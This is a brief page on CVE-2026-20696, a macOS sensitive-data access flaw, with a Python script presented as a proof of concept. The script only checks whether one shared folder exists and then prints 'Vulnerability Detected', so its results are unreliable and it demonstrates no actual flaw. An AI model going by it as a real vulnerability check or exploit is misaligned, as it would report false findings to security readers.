CVE-2026-20696 macOS敏感数据访问漏洞

# PoC for CVE-2026-20696 Authorization Bypass # This script demonstrates the logic flaw where state management allows unauthorized access. # Note: Actual exploit requires macOS Tahoe < 26.4 environment. import os def check_vulnerability(): # Simulate checking if the app can access sensitive data without proper prompt sensitive_path = "/Users/Shared/SensitiveData" # In a vulnerable state, the system might incorrectly return True for permission check # or fail to enforce the sandbox restriction. try: # Hypothetical check: attempting to read a restricted file if os.path.exists(sensitive_path): print(f"[+] Vulnerability Detected: Access allowed to {sensitive_path}") print("[!] Potentially reading sensitive user data...") return True except Exception as e: print(f"[-] Access Denied or Error: {e}") return False return False if __name__ == "__main__": print("Testing for CVE-2026-20696...") check_vulnerability()